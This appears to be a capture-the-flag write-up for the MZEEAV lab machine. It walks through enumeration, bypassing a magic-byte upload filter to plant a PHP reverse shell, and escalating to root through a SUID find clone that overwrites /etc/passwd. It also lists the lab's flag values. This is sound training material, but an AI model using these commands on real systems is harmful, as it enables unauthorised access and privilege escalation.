MZEEAV_writeup
Author: Hans
Platform: PG Practice
Difficulty: N/A
Operating System: Linux
Summary
MZEEAV serves a file upload page that checks uploads for the PE (.exe) magic bytes (4D 5A) before accepting them, apparently intended as a basic anti-virus style filter. Prepending those magic bytes to a PHP reverse shell bypassed the check and gave code execution as www-data. Privilege escalation abused a SUID binary at /opt/fileS, a renamed clone of the find command, using GTFOBins' find techniques to write a root-equivalent user directly into /etc/passwd.
Service Enumeration
Nmap
nmap -sCV -oN scans/tcp.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
nmap -sCV -oN scans/tcp.nmap $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-23 16:58 +0800
Nmap scan report for 192.168.142.33
Host is up (0.026s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: MZEE-AV - Check your files
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.36 seconds
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-23 16:59 +0800
Nmap scan report for 192.168.142.33
Host is up (0.0076s latency).
PORT STATE SERVICE
53/udp open|filtered domain
67/udp closed dhcps
68/udp closed dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp closed msrpc
137/udp open|filtered netbios-ns
138/udp closed netbios-dgm
139/udp open|filtered netbios-ssn
161/udp open|filtered snmp
162/udp open|filtered snmptrap
445/udp closed microsoft-ds
500/udp open|filtered isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp open|filtered ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp open|filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 8.20 seconds
Open ports: 22 (OpenSSH 8.4p1 Debian), 80 (Apache 2.4.56, "MZEE-AV - Check your files"). UDP scan returned mostly open|filtered results, nothing confirmed open.
Web (80)
Main page:

Uploading a random .md file was rejected, suggesting a file-type filter:

feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o scans/ferox.md
Notable results: /upload/, /backups/ (directory listing enabled), and /backups/backup.zip.
unzip backup.zip -d backup
The archive contained the site source, including upload.php:
$tmp_location = "upload/file.tmp";
$location = "upload/".$filename;
move_uploaded_file($_FILES['file']['tmp_name'], $tmp_location);
$F=fopen($tmp_location,"r");
$magic=fread($F,2);
fclose($F);
$magicbytes = strtoupper(substr(bin2hex($magic),0,4));
if ( strpos($magicbytes, '4D5A') === false ) {
echo "Error no valid PEFILE\n";
exit ();
}
rename($tmp_location, $location);
The uploaded file is saved as file.tmp, checked for the PE magic bytes (4D 5A), and only renamed to its real name (making it reachable and executable) if the check passes.
Initial Access - Magic Byte Bypass to PHP Webshell
Prepended the PE magic bytes to a PHP reverse shell (PentestMonkey, via revshells.com):
echo '4D 5A' | xxd -p -r >> shell.php
cat shell.php.bak >> shell.php
Uploaded shell.php, which passed the filter and was renamed to its real filename:


Started a listener and requested the uploaded shell:

Stabilized the shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
then stty raw -echo; fg on the attacking machine and export TERM=xterm in the shell.
local.txt found under /home/avuser:
cd /home/avuser
whoami && hostname && cat local.txt

Privilege Escalation - SUID find Clone (/opt/fileS)
Manual checks (sudo -l, cron) turned up nothing. A SUID search found an unusual binary:
find / -perm -4000 -type f 2>/dev/null
/opt/fileS
/opt/fileS could not be read but could be executed, and its output and --help text matched the find command exactly:
/opt/fileS
find
Both produced identical directory listings, confirming it's a renamed/cloned find binary with the SUID bit set — the same technique GTFOBins documents for find.
Spawning a shell directly dropped privileges initially (a mistake corrected later in the Bonus section):
/opt/fileS . -exec /bin/sh \; -quit
Confirmed the SUID write primitive worked by writing a test file, which came back owned by root:
/opt/fileS / -fprintf /tmp/test DATA -quit
Used the same -fprintf technique to write a copy of /etc/passwd plus an added hacker::0:0::/root:/bin/bash line, first testing against /tmp/testpasswd, then against /etc/passwd directly. The GTFOBins find write primitive uses a format string, so whitespace, brackets, and newlines in the payload needed escaping.
/opt/fileS / -fprintf /etc/passwd <passwd content with hacker::0:0::/root:/bin/bash appended, escaped> -quit
proof.txt found under /root:
su - hacker
whoami && hostname && cat proof.txt

Bonus - simpler shell spawn: GTFOBins notes that -p should be passed to /bin/sh on distributions where the default shell doesn't drop SUID privileges. Retrying the original shell spawn with that flag worked directly:
/opt/fileS . -exec /bin/sh -p \; -quit
whoami && hostname && cat /root/proof.txt
Flags
| Flag | Value |
|---|---|
| local.txt | e7fd0d815bff9915778436acb2c20495 |
| proof.txt | 00e53661e0f633cdf3daf6895d267a38 |